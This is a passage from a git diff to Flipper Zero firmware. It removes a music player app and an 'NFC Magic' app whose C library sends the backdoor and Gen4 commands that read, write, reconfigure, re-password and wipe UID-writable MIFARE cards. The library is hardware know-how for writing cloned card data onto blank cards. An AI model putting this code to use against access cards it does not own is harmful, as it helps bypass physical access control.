id) { - switch(semitone) { - case 0: - if(id == 0) return true; - break; - case 2: - if(id == 1) return true; - break; - case 4: - if(id == 2) return true; - break; - case 5: - if(id == 3) return true; - break; - case 7: - if(id == 4) return true; - break; - case 9: - if(id == 5) return true; - break; - case 11: - if(id == 6) return true; - break; - default: - break; - } - - return false; -} - -static bool is_black_note(uint8_t semitone, uint8_t id) { - switch(semitone) { - case 1: - if(id == 0) return true; - break; - case 3: - if(id == 1) return true; - break; - case 6: - if(id == 3) return true; - break; - case 8: - if(id == 4) return true; - break; - case 10: - if(id == 5) return true; - break; - default: - break; - } - - return false; -} - -static void render_callback(Canvas* canvas, void* ctx) { - MusicPlayer* music_player = ctx; - furi_check(furi_mutex_acquire(music_player->model_mutex, FuriWaitForever) == FuriStatusOk); - - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 0, 12, "MusicPlayer"); - - uint8_t x_pos = 0; - uint8_t y_pos = 24; - const uint8_t white_w = 10; - const uint8_t white_h = 40; - - const int8_t black_x = 6; - const int8_t black_y = -5; - const uint8_t black_w = 8; - const uint8_t black_h = 32; - - // white keys - for(size_t i = 0; i < 7; i++) { - if(is_white_note(music_player->model->semitone, i)) { - canvas_draw_box(canvas, x_pos + white_w * i, y_pos, white_w + 1, white_h); - } else { - canvas_draw_frame(canvas, x_pos + white_w * i, y_pos, white_w + 1, white_h); - } - } - - // black keys - for(size_t i = 0; i < 7; i++) { - if(i != 2 && i != 6) { - canvas_set_color(canvas, ColorWhite); - canvas_draw_box( - canvas, x_pos + white_w * i + black_x, y_pos + black_y, black_w + 1, black_h); - canvas_set_color(canvas, ColorBlack); - if(is_black_note(music_player->model->semitone, i)) { - canvas_draw_box( - canvas, x_pos + white_w * i + black_x, y_pos + black_y, black_w + 1, black_h); - } else { - canvas_draw_frame( - canvas, x_pos + white_w * i + black_x, y_pos + black_y, black_w + 1, black_h); - } - } - } - - // volume view_port - x_pos = 124; - y_pos = 0; - const uint8_t volume_h = - (64 / (COUNT_OF(MUSIC_PLAYER_VOLUMES) - 1)) * music_player->model->volume; - canvas_draw_frame(canvas, x_pos, y_pos, 4, 64); - canvas_draw_box(canvas, x_pos, y_pos + (64 - volume_h), 4, volume_h); - - // note stack view_port - x_pos = 73; - y_pos = 0; //-V1048 - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontPrimary); - canvas_draw_frame(canvas, x_pos, y_pos, 49, 64); - canvas_draw_line(canvas, x_pos + 28, 0, x_pos + 28, 64); - - char duration_text[16]; - for(uint8_t i = 0; i < MUSIC_PLAYER_SEMITONE_HISTORY_SIZE; i++) { - if(music_player->model->duration_history[i] == 0xFF) { - snprintf(duration_text, 15, "--"); - } else { - snprintf(duration_text, 15, "%d", music_player->model->duration_history[i]); - } - - if(i == 0) { - canvas_draw_box(canvas, x_pos, y_pos + 48, 49, 16); - canvas_set_color(canvas, ColorWhite); - } else { - canvas_set_color(canvas, ColorBlack); - } - canvas_draw_str( - canvas, - x_pos + 4, - 64 - 16 * i - 3, - semitone_to_note(music_player->model->semitone_history[i])); - canvas_draw_str(canvas, x_pos + 31, 64 - 16 * i - 3, duration_text); - canvas_draw_line(canvas, x_pos, 64 - 16 * i, x_pos + 48, 64 - 16 * i); - } - - furi_mutex_release(music_player->model_mutex); -} - -static void input_callback(InputEvent* input_event, void* ctx) { - MusicPlayer* music_player = ctx; - if(input_event->type == InputTypeShort) { - furi_message_queue_put(music_player->input_queue, input_event, 0); - } -} - -static void music_worker_callback( - uint8_t semitone, - uint8_t dots, - uint8_t duration, - float position, - void* context) { - MusicPlayer* music_player = context; - furi_check(furi_mutex_acquire(music_player->model_mutex, FuriWaitForever) == FuriStatusOk); - - for(size_t i = 0; i < MUSIC_PLAYER_SEMITONE_HISTORY_SIZE - 1; i++) { - size_t r = MUSIC_PLAYER_SEMITONE_HISTORY_SIZE - 1 - i; - music_player->model->duration_history[r] = music_player->model->duration_history[r - 1]; - music_player->model->semitone_history[r] = music_player->model->semitone_history[r - 1]; - } - - semitone = (semitone == 0xFF) ? 0xFF : semitone % 12; - - music_player->model->semitone = semitone; - music_player->model->dots = dots; - music_player->model->duration = duration; - music_player->model->position = position; - - music_player->model->semitone_history[0] = semitone; - music_player->model->duration_history[0] = duration; - - furi_mutex_release(music_player->model_mutex); - view_port_update(music_player->view_port); -} - -void music_player_clear(MusicPlayer* instance) { - memset(instance->model->duration_history, 0xff, MUSIC_PLAYER_SEMITONE_HISTORY_SIZE); - memset(instance->model->semitone_history, 0xff, MUSIC_PLAYER_SEMITONE_HISTORY_SIZE); - music_worker_clear(instance->worker); -} - -MusicPlayer* music_player_alloc() { - MusicPlayer* instance = malloc(sizeof(MusicPlayer)); - - instance->model = malloc(sizeof(MusicPlayerModel)); - instance->model->volume = 3; - - instance->model_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - - instance->input_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - - instance->worker = music_worker_alloc(); - music_worker_set_volume(instance->worker, MUSIC_PLAYER_VOLUMES[instance->model->volume]); - music_worker_set_callback(instance->worker, music_worker_callback, instance); - - music_player_clear(instance); - - instance->view_port = view_port_alloc(); - view_port_draw_callback_set(instance->view_port, render_callback, instance); - view_port_input_callback_set(instance->view_port, input_callback, instance); - - // Open GUI and register view_port - instance->gui = furi_record_open(RECORD_GUI); - gui_add_view_port(instance->gui, instance->view_port, GuiLayerFullscreen); - - return instance; -} - -void music_player_free(MusicPlayer* instance) { - gui_remove_view_port(instance->gui, instance->view_port); - furi_record_close(RECORD_GUI); - view_port_free(instance->view_port); - - music_worker_free(instance->worker); - - furi_message_queue_free(instance->input_queue); - - furi_mutex_free(instance->model_mutex); - - free(instance->model); - free(instance); -} - -int32_t music_player_app(void* p) { - MusicPlayer* music_player = music_player_alloc(); - - FuriString* file_path; - file_path = furi_string_alloc(); - - do { - if(p && strlen(p)) { - furi_string_set(file_path, (const char*)p); - } else { - furi_string_set(file_path, MUSIC_PLAYER_APP_PATH_FOLDER); - - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options( - &browser_options, MUSIC_PLAYER_APP_EXTENSION, &I_music_10px); - browser_options.hide_ext = false; - browser_options.base_path = MUSIC_PLAYER_APP_PATH_FOLDER; - - DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); - bool res = dialog_file_browser_show(dialogs, file_path, file_path, &browser_options); - - furi_record_close(RECORD_DIALOGS); - if(!res) { - FURI_LOG_E(TAG, "No file selected"); - break; - } - } - - if(!music_worker_load(music_player->worker, furi_string_get_cstr(file_path))) { - FURI_LOG_E(TAG, "Unable to load file"); - break; - } - - music_worker_start(music_player->worker); - - InputEvent input; - while(furi_message_queue_get(music_player->input_queue, &input, FuriWaitForever) == - FuriStatusOk) { - furi_check( - furi_mutex_acquire(music_player->model_mutex, FuriWaitForever) == FuriStatusOk); - - if(input.key == InputKeyBack) { - furi_mutex_release(music_player->model_mutex); - break; - } else if(input.key == InputKeyUp) { - if(music_player->model->volume < COUNT_OF(MUSIC_PLAYER_VOLUMES) - 1) - music_player->model->volume++; - music_worker_set_volume( - music_player->worker, MUSIC_PLAYER_VOLUMES[music_player->model->volume]); - } else if(input.key == InputKeyDown) { - if(music_player->model->volume > 0) music_player->model->volume--; - music_worker_set_volume( - music_player->worker, MUSIC_PLAYER_VOLUMES[music_player->model->volume]); - } - - furi_mutex_release(music_player->model_mutex); - view_port_update(music_player->view_port); - } - - music_worker_stop(music_player->worker); - if(p && strlen(p)) break; // Exit instead of going to browser if launched with arg - music_player_clear(music_player); - } while(1); - - furi_string_free(file_path); - music_player_free(music_player); - - return 0; -} diff --git a/applications/external/nfc_magic/application.fam b/applications/external/nfc_magic/application.fam deleted file mode 100644 index 717387d58..000000000 --- a/applications/external/nfc_magic/application.fam +++ /dev/null @@ -1,21 +0,0 @@ -App( - appid="nfc_magic", - name="NFC Magic", - apptype=FlipperAppType.EXTERNAL, - targets=["f7"], - entry_point="nfc_magic_app", - requires=[ - "storage", - "gui", - ], - stack_size=4 * 1024, - order=30, - fap_icon="../../../assets/icons/Archive/Nfc_10px.png", - fap_category="NFC", - fap_private_libs=[ - Lib( - name="magic", - ), - ], - fap_icon_assets="assets", -) diff --git a/applications/external/nfc_magic/assets/DolphinCommon_56x48.png b/applications/external/nfc_magic/assets/DolphinCommon_56x48.png deleted file mode 100644 index 089aaed83..000000000 Binary files a/applications/external/nfc_magic/assets/DolphinCommon_56x48.png and /dev/null differ diff --git a/applications/external/nfc_magic/assets/DolphinNice_96x59.png b/applications/external/nfc_magic/assets/DolphinNice_96x59.png deleted file mode 100644 index a299d3630..000000000 Binary files a/applications/external/nfc_magic/assets/DolphinNice_96x59.png and /dev/null differ diff --git a/applications/external/nfc_magic/assets/Loading_24.png b/applications/external/nfc_magic/assets/Loading_24.png deleted file mode 100644 index 93a59fe68..000000000 Binary files a/applications/external/nfc_magic/assets/Loading_24.png and /dev/null differ diff --git a/applications/external/nfc_magic/assets/NFC_manual_60x50.png b/applications/external/nfc_magic/assets/NFC_manual_60x50.png deleted file mode 100644 index 787c0bcfe..000000000 Binary files a/applications/external/nfc_magic/assets/NFC_manual_60x50.png and /dev/null differ diff --git a/applications/external/nfc_magic/lib/magic/classic_gen1.c b/applications/external/nfc_magic/lib/magic/classic_gen1.c deleted file mode 100644 index 8d87d6316..000000000 --- a/applications/external/nfc_magic/lib/magic/classic_gen1.c +++ /dev/null @@ -1,145 +0,0 @@ -#include "classic_gen1.h" - -#include - -#define TAG "Magic" - -#define MAGIC_CMD_WUPA (0x40) -#define MAGIC_CMD_ACCESS (0x43) - -#define MAGIC_MIFARE_READ_CMD (0x30) -#define MAGIC_MIFARE_WRITE_CMD (0xA0) - -#define MAGIC_ACK (0x0A) - -#define MAGIC_BUFFER_SIZE (32) - -bool magic_gen1_wupa() { - bool magic_activated = false; - uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; - uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; - uint16_t rx_len = 0; - FuriHalNfcReturn ret = 0; - - do { - // Start communication - tx_data[0] = MAGIC_CMD_WUPA; - ret = furi_hal_nfc_ll_txrx_bits( - tx_data, - 7, - rx_data, - sizeof(rx_data), - &rx_len, - FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_TX_MANUAL | FURI_HAL_NFC_LL_TXRX_FLAGS_AGC_ON | - FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_RX_KEEP, - furi_hal_nfc_ll_ms2fc(20)); - if(ret != FuriHalNfcReturnIncompleteByte) break; - if(rx_len != 4) break; - if(rx_data[0] != MAGIC_ACK) break; - magic_activated = true; - } while(false); - - return magic_activated; -} - -bool magic_gen1_data_access_cmd() { - bool write_cmd_success = false; - uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; - uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; - uint16_t rx_len = 0; - FuriHalNfcReturn ret = 0; - - do { - tx_data[0] = MAGIC_CMD_ACCESS; - ret = furi_hal_nfc_ll_txrx_bits( - tx_data, - 8, - rx_data, - sizeof(rx_data), - &rx_len, - FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_TX_MANUAL | FURI_HAL_NFC_LL_TXRX_FLAGS_AGC_ON | - FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_RX_KEEP, - furi_hal_nfc_ll_ms2fc(20)); - if(ret != FuriHalNfcReturnIncompleteByte) break; - if(rx_len != 4) break; - if(rx_data[0] != MAGIC_ACK) break; - - write_cmd_success = true; - } while(false); - - return write_cmd_success; -} - -bool magic_gen1_read_block(uint8_t block_num, MfClassicBlock* data) { - furi_assert(data); - - bool read_success = false; - - uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; - uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; - uint16_t rx_len = 0; - FuriHalNfcReturn ret = 0; - - do { - tx_data[0] = MAGIC_MIFARE_READ_CMD; - tx_data[1] = block_num; - ret = furi_hal_nfc_ll_txrx_bits( - tx_data, - 2 * 8, - rx_data, - sizeof(rx_data), - &rx_len, - FURI_HAL_NFC_LL_TXRX_FLAGS_AGC_ON, - furi_hal_nfc_ll_ms2fc(20)); - - if(ret != FuriHalNfcReturnOk) break; - if(rx_len != 16 * 8) break; - memcpy(data->value, rx_data, sizeof(data->value)); - read_success = true; - } while(false); - - return read_success; -} - -bool magic_gen1_write_blk(uint8_t block_num, MfClassicBlock* data) { - furi_assert(data); - - bool write_success = false; - uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; - uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; - uint16_t rx_len = 0; - FuriHalNfcReturn ret = 0; - - do { - tx_data[0] = MAGIC_MIFARE_WRITE_CMD; - tx_data[1] = block_num; - ret = furi_hal_nfc_ll_txrx_bits( - tx_data, - 2 * 8, - rx_data, - sizeof(rx_data), - &rx_len, - FURI_HAL_NFC_LL_TXRX_FLAGS_AGC_ON | FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_RX_KEEP, - furi_hal_nfc_ll_ms2fc(20)); - if(ret != FuriHalNfcReturnIncompleteByte) break; - if(rx_len != 4) break; - if(rx_data[0] != MAGIC_ACK) break; - - memcpy(tx_data, data->value, sizeof(data->value)); - ret = furi_hal_nfc_ll_txrx_bits( - tx_data, - 16 * 8, - rx_data, - sizeof(rx_data), - &rx_len, - FURI_HAL_NFC_LL_TXRX_FLAGS_AGC_ON | FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_RX_KEEP, - furi_hal_nfc_ll_ms2fc(20)); - if(ret != FuriHalNfcReturnIncompleteByte) break; - if(rx_len != 4) break; - if(rx_data[0] != MAGIC_ACK) break; - - write_success = true; - } while(false); - - return write_success; -} diff --git a/applications/external/nfc_magic/lib/magic/classic_gen1.h b/applications/external/nfc_magic/lib/magic/classic_gen1.h deleted file mode 100644 index 98de12302..000000000 --- a/applications/external/nfc_magic/lib/magic/classic_gen1.h +++ /dev/null @@ -1,11 +0,0 @@ -#pragma once - -#include - -bool magic_gen1_wupa(); - -bool magic_gen1_read_block(uint8_t block_num, MfClassicBlock* data); - -bool magic_gen1_data_access_cmd(); - -bool magic_gen1_write_blk(uint8_t block_num, MfClassicBlock* data); diff --git a/applications/external/nfc_magic/lib/magic/common.c b/applications/external/nfc_magic/lib/magic/common.c deleted file mode 100644 index 0ea3cb218..000000000 --- a/applications/external/nfc_magic/lib/magic/common.c +++ /dev/null @@ -1,33 +0,0 @@ -#include "common.h" - -#include - -#define REQA (0x26) -#define CL1_PREFIX (0x93) -#define SELECT (0x70) - -#define MAGIC_BUFFER_SIZE (32) - -bool magic_activate() { - FuriHalNfcReturn ret = 0; - - // Setup nfc poller - furi_hal_nfc_exit_sleep(); - furi_hal_nfc_ll_txrx_on(); - furi_hal_nfc_ll_poll(); - ret = furi_hal_nfc_ll_set_mode( - FuriHalNfcModePollNfca, FuriHalNfcBitrate106, FuriHalNfcBitrate106); - if(ret != FuriHalNfcReturnOk) return false; - - furi_hal_nfc_ll_set_fdt_listen(FURI_HAL_NFC_LL_FDT_LISTEN_NFCA_POLLER); - furi_hal_nfc_ll_set_fdt_poll(FURI_HAL_NFC_LL_FDT_POLL_NFCA_POLLER); - furi_hal_nfc_ll_set_error_handling(FuriHalNfcErrorHandlingNfc); - furi_hal_nfc_ll_set_guard_time(FURI_HAL_NFC_LL_GT_NFCA); - - return true; -} - -void magic_deactivate() { - furi_hal_nfc_ll_txrx_off(); - furi_hal_nfc_sleep(); -} \ No newline at end of file diff --git a/applications/external/nfc_magic/lib/magic/common.h b/applications/external/nfc_magic/lib/magic/common.h deleted file mode 100644 index bef166c8f..000000000 --- a/applications/external/nfc_magic/lib/magic/common.h +++ /dev/null @@ -1,19 +0,0 @@ -#pragma once - -#include -#include - -typedef enum { - MagicTypeClassicGen1, - MagicTypeClassicDirectWrite, - MagicTypeClassicAPDU, - MagicTypeUltralightGen1, - MagicTypeUltralightDirectWrite, - MagicTypeUltralightC_Gen1, - MagicTypeUltralightC_DirectWrite, - MagicTypeGen4, -} MagicType; - -bool magic_activate(); - -void magic_deactivate(); \ No newline at end of file diff --git a/applications/external/nfc_magic/lib/magic/gen4.c b/applications/external/nfc_magic/lib/magic/gen4.c deleted file mode 100644 index 31be649a0..000000000 --- a/applications/external/nfc_magic/lib/magic/gen4.c +++ /dev/null @@ -1,199 +0,0 @@ -#include "gen4.h" - -#include -#include - -#define TAG "Magic" - -#define MAGIC_CMD_PREFIX (0xCF) - -#define MAGIC_CMD_GET_CFG (0xC6) -#define MAGIC_CMD_WRITE (0xCD) -#define MAGIC_CMD_READ (0xCE) -#define MAGIC_CMD_SET_CFG (0xF0) -#define MAGIC_CMD_FUSE_CFG (0xF1) -#define MAGIC_CMD_SET_PWD (0xFE) - -#define MAGIC_BUFFER_SIZE (40) - -const uint8_t MAGIC_DEFAULT_CONFIG[] = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x09, 0x78, 0x00, 0x91, 0x02, 0xDA, 0xBC, 0x19, 0x10, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x04, 0x00, 0x08, 0x00 -}; - -const uint8_t MAGIC_DEFAULT_BLOCK0[] = { - 0x00, 0x01, 0x02, 0x03, 0x04, 0x04, 0x08, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; - -const uint8_t MAGIC_EMPTY_BLOCK[16] = { 0 }; - -const uint8_t MAGIC_DEFAULT_SECTOR_TRAILER[] = { - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x07, 0x80, 0x69, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF -}; - -static bool magic_gen4_is_block_num_trailer(uint8_t n) { - n++; - if (n < 32 * 4) { - return (n % 4 == 0); - } - - return (n % 16 == 0); -} - -bool magic_gen4_get_cfg(uint32_t pwd, uint8_t* config) { - bool is_valid_config_len = false; - uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; - uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; - uint16_t rx_len = 0; - FuriHalNfcReturn ret = 0; - - do { - // Start communication - tx_data[0] = MAGIC_CMD_PREFIX; - tx_data[1] = (uint8_t)(pwd >> 24); - tx_data[2] = (uint8_t)(pwd >> 16); - tx_data[3] = (uint8_t)(pwd >> 8); - tx_data[4] = (uint8_t)pwd; - tx_data[5] = MAGIC_CMD_GET_CFG; - ret = furi_hal_nfc_ll_txrx( - tx_data, - 6, - rx_data, - sizeof(rx_data), - &rx_len, - FURI_HAL_NFC_TXRX_DEFAULT, - furi_hal_nfc_ll_ms2fc(20)); - if(ret != FuriHalNfcReturnOk) break; - if(rx_len != 30 && rx_len != 32) break; - memcpy(config, rx_data, rx_len); - is_valid_config_len = true; - } while(false); - - return is_valid_config_len; -} - -bool magic_gen4_set_cfg(uint32_t pwd, const uint8_t* config, uint8_t config_length, bool fuse) { - bool write_success = false; - uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; - uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; - uint16_t rx_len = 0; - FuriHalNfcReturn ret = 0; - - do { - // Start communication - tx_data[0] = MAGIC_CMD_PREFIX; - tx_data[1] = (uint8_t)(pwd >> 24); - tx_data[2] = (uint8_t)(pwd >> 16); - tx_data[3] = (uint8_t)(pwd >> 8); - tx_data[4] = (uint8_t)pwd; - tx_data[5] = fuse ? MAGIC_CMD_FUSE_CFG : MAGIC_CMD_SET_CFG; - memcpy(tx_data + 6, config, config_length); - ret = furi_hal_nfc_ll_txrx( - tx_data, - 6 + config_length, - rx_data, - sizeof(rx_data), - &rx_len, - FURI_HAL_NFC_TXRX_DEFAULT, - furi_hal_nfc_ll_ms2fc(20)); - if(ret != FuriHalNfcReturnOk) break; - if(rx_len != 2) break; - write_success = true; - } while(false); - - return write_success; -} - -bool magic_gen4_set_pwd(uint32_t old_pwd, uint32_t new_pwd) { - bool change_success = false; - uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; - uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; - uint16_t rx_len = 0; - FuriHalNfcReturn ret = 0; - - do { - // Start communication - tx_data[0] = MAGIC_CMD_PREFIX; - tx_data[1] = (uint8_t)(old_pwd >> 24); - tx_data[2] = (uint8_t)(old_pwd >> 16); - tx_data[3] = (uint8_t)(old_pwd >> 8); - tx_data[4] = (uint8_t)old_pwd; - tx_data[5] = MAGIC_CMD_SET_PWD; - tx_data[6] = (uint8_t)(new_pwd >> 24); - tx_data[7] = (uint8_t)(new_pwd >> 16); - tx_data[8] = (uint8_t)(new_pwd >> 8); - tx_data[9] = (uint8_t)new_pwd; - ret = furi_hal_nfc_ll_txrx( - tx_data, - 10, - rx_data, - sizeof(rx_data), - &rx_len, - FURI_HAL_NFC_TXRX_DEFAULT, - furi_hal_nfc_ll_ms2fc(20)); - FURI_LOG_I(TAG, "ret %d, len %d", ret, rx_len); - if(ret != FuriHalNfcReturnOk) break; - if(rx_len != 2) break; - change_success = true; - } while(false); - - return change_success; -} - -bool magic_gen4_write_blk(uint32_t pwd, uint8_t block_num, const uint8_t* data) { - bool write_success = false; - uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; - uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; - uint16_t rx_len = 0; - FuriHalNfcReturn ret = 0; - - do { - // Start communication - tx_data[0] = MAGIC_CMD_PREFIX; - tx_data[1] = (uint8_t)(pwd >> 24); - tx_data[2] = (uint8_t)(pwd >> 16); - tx_data[3] = (uint8_t)(pwd >> 8); - tx_data[4] = (uint8_t)pwd; - tx_data[5] = MAGIC_CMD_WRITE; - tx_data[6] = block_num; - memcpy(tx_data + 7, data, 16); - ret = furi_hal_nfc_ll_txrx( - tx_data, - 23, - rx_data, - sizeof(rx_data), - &rx_len, - FURI_HAL_NFC_TXRX_DEFAULT, - furi_hal_nfc_ll_ms2fc(200)); - if(ret != FuriHalNfcReturnOk) break; - if(rx_len != 2) break; - write_success = true; - } while(false); - - return write_success; -} - -bool magic_gen4_wipe(uint32_t pwd) { - if(!magic_gen4_set_cfg(pwd, MAGIC_DEFAULT_CONFIG, sizeof(MAGIC_DEFAULT_CONFIG), false)) { - FURI_LOG_E(TAG, "Set config failed"); - return false; - } - if(!magic_gen4_write_blk(pwd, 0, MAGIC_DEFAULT_BLOCK0)) { - FURI_LOG_E(TAG, "Block 0 write failed"); - return false; - } - for(size_t i = 1; i < 64; i++) { - const uint8_t* block = magic_gen4_is_block_num_trailer(i) ? MAGIC_DEFAULT_SECTOR_TRAILER : MAGIC_EMPTY_BLOCK; - if(!magic_gen4_write_blk(pwd, i, block)) { - FURI_LOG_E(TAG, "Block %d write failed", i); - return false; - } - } - for(size_t i = 65; i < 256; i++) { - if(!magic_gen4_write_blk(pwd, i, MAGIC_EMPTY_BLOCK)) { - FURI_LOG_E(TAG, "Block %d write failed", i); - return false; - } - } - - return true; -} \ No newline at end of file diff --git a/applications/external/nfc_magic/lib/magic/gen4.h b/applications/external/nfc_magic/lib/magic/gen4.h deleted file mode 100644 index c515af820..000000000 --- a/applications/external/nfc_magic/lib/magic/gen4.h +++ /dev/null @@ -1,48 +0,0 @@ -#pragma once - -#include - -#define MAGIC_GEN4_DEFAULT_PWD 0x00000000 -#define MAGIC_GEN4_CONFIG_LEN 32 - -#define NFCID1_SINGLE_SIZE 4 -#define NFCID1_DOUBLE_SIZE 7 -#define NFCID1_TRIPLE_SIZE 10 - -typedef enum { - MagicGen4UIDLengthSingle = 0x00, - MagicGen4UIDLengthDouble = 0x01, - MagicGen4UIDLengthTriple = 0x02 -} MagicGen4UIDLength; - -typedef enum { - MagicGen4UltralightModeUL_EV1 = 0x00, - MagicGen4UltralightModeNTAG = 0x01, - MagicGen4UltralightModeUL_C = 0x02, - MagicGen4UltralightModeUL = 0x03 -} MagicGen4UltralightMode; - -typedef enum { - // for writing original (shadow) data - MagicGen4ShadowModePreWrite = 0x00, - // written data can be read once before restored to original - MagicGen4ShadowModeRestore = 0x01, - // written data is discarded - MagicGen4ShadowModeIgnore = 0x02, - // apparently for UL? - MagicGen4ShadowModeHighSpeedIgnore = 0x03 -} MagicGen4ShadowMode; - -bool magic_gen4_get_cfg(uint32_t pwd, uint8_t* config); - -bool magic_gen4_set_cfg(uint32_t pwd, const uint8_t* config, uint8_t config_length, bool fuse); - -bool magic_gen4_set_pwd(uint32_t old_pwd, uint32_t new_pwd); - -bool magic_gen4_read_blk(uint32_t pwd, uint8_t block_num, uint8_t* data); - -bool magic_gen4_write_blk(uint32_t pwd, uint8_t block_num, const uint8_t* data); - -bool magic_gen4_wipe(uint32_t pwd); - -void magic_gen4_deactivate(); diff --git a/applications/external/nfc_magic/lib/magic/types.c b/applications/external/nfc_magic/lib/magic/types.c deleted file mode 100644 index 77c6c0a4e..000000000 --- a/applications/external/nfc_magic/lib/magic/types.c +++ /dev/null @@ -1,23 +0,0 @@ -#include "types.h" - -const char* nfc_magic_type(MagicType type) { - if(type == MagicTypeClassicGen1) { - return "Classic Gen 1A/B"; - } else if(type == MagicTypeClassicDirectWrite) { - return "Classic DirectWrite"; - } else if(type == MagicTypeClassicAPDU) { - return "Classic APDU"; - } else if(type == MagicTypeUltralightGen1) { - return "Ultralight Gen 1"; - } else if(type == MagicTypeUltralightDirectWrite) { - return "Ultralight DirectWrite"; - } else if(type == MagicTypeUltralightC_Gen1) { - return "Ultralight-C Gen 1"; - } else if(type == MagicTypeUltralightC_DirectWrite) { - return "Ultralight-C DirectWrite"; - } else if(type == MagicTypeGen4) { - return "Gen 4 GTU"; - } else { - return "Unknown"; - } -} diff --git a/applications/external/nfc_magic/lib/magic/types.h b/applications/external/nfc_magic/lib/magic/types.h deleted file mode 100644 index dbf554063..000000000 --- a/applications/external/nfc_magic/lib/magic/types.h +++ /dev/null @@ -1,5 +0,0 @@ -#pragma once - -#include "common.h" - -const char* nfc_magic_type(MagicType type); \ No newline at end of file diff --git a/applications/external/nfc_magic/nfc_magic.c b/applications/external/nfc_magic/nfc_magic.c deleted file mode 100644 index 68c9a65b5..000000000 --- a/applications/external/nfc_magic/nfc_magic.c +++ /dev/null @@ -1,184 +0,0 @@ -#include "nfc_magic_i.h" - -bool nfc_magic_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - NfcMagic* nfc_magic = context; - return scene_manager_handle_custom_event(nfc_magic->scene_manager, event); -} - -bool nfc_magic_back_event_callback(void* context) { - furi_assert(context); - NfcMagic* nfc_magic = context; - return scene_manager_handle_back_event(nfc_magic->scene_manager); -} - -void nfc_magic_tick_event_callback(void* context) { - furi_assert(context); - NfcMagic* nfc_magic = context; - scene_manager_handle_tick_event(nfc_magic->scene_manager); -} - -void nfc_magic_show_loading_popup(void* context, bool show) { - NfcMagic* nfc_magic = context; - TaskHandle_t timer_task = xTaskGetHandle(configTIMER_SERVICE_TASK_NAME); - - if(show) { - // Raise timer priority so that animations can play - vTaskPrioritySet(timer_task, configMAX_PRIORITIES - 1); - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewLoading); - } else { - // Restore default timer priority - vTaskPrioritySet(timer_task, configTIMER_TASK_PRIORITY); - } -} - -NfcMagic* nfc_magic_alloc() { - NfcMagic* nfc_magic = malloc(sizeof(NfcMagic)); - - nfc_magic->worker = nfc_magic_worker_alloc(); - nfc_magic->view_dispatcher = view_dispatcher_alloc(); - nfc_magic->scene_manager = scene_manager_alloc(&nfc_magic_scene_handlers, nfc_magic); - view_dispatcher_enable_queue(nfc_magic->view_dispatcher); - view_dispatcher_set_event_callback_context(nfc_magic->view_dispatcher, nfc_magic); - view_dispatcher_set_custom_event_callback( - nfc_magic->view_dispatcher, nfc_magic_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - nfc_magic->view_dispatcher, nfc_magic_back_event_callback); - view_dispatcher_set_tick_event_callback( - nfc_magic->view_dispatcher, nfc_magic_tick_event_callback, 100); - - // Nfc device - nfc_magic->dev = malloc(sizeof(NfcMagicDevice)); - nfc_magic->source_dev = nfc_device_alloc(); - furi_string_set(nfc_magic->source_dev->folder, NFC_APP_FOLDER); - - // Open GUI record - nfc_magic->gui = furi_record_open(RECORD_GUI); - view_dispatcher_attach_to_gui( - nfc_magic->view_dispatcher, nfc_magic->gui, ViewDispatcherTypeFullscreen); - - // Open Notification record - nfc_magic->notifications = furi_record_open(RECORD_NOTIFICATION); - - // Submenu - nfc_magic->submenu = submenu_alloc(); - view_dispatcher_add_view( - nfc_magic->view_dispatcher, NfcMagicViewMenu, submenu_get_view(nfc_magic->submenu)); - - // Popup - nfc_magic->popup = popup_alloc(); - view_dispatcher_add_view( - nfc_magic->view_dispatcher, NfcMagicViewPopup, popup_get_view(nfc_magic->popup)); - - // Loading - nfc_magic->loading = loading_alloc(); - view_dispatcher_add_view( - nfc_magic->view_dispatcher, NfcMagicViewLoading, loading_get_view(nfc_magic->loading)); - - // Text Input - nfc_magic->text_input = text_input_alloc(); - view_dispatcher_add_view( - nfc_magic->view_dispatcher, - NfcMagicViewTextInput, - text_input_get_view(nfc_magic->text_input)); - - // Byte Input - nfc_magic->byte_input = byte_input_alloc(); - view_dispatcher_add_view( - nfc_magic->view_dispatcher, - NfcMagicViewByteInput, - byte_input_get_view(nfc_magic->byte_input)); - - // Custom Widget - nfc_magic->widget = widget_alloc(); - view_dispatcher_add_view( - nfc_magic->view_dispatcher, NfcMagicViewWidget, widget_get_view(nfc_magic->widget)); - - return nfc_magic; -} - -void nfc_magic_free(NfcMagic* nfc_magic) { - furi_assert(nfc_magic); - - // Nfc device - free(nfc_magic->dev); - 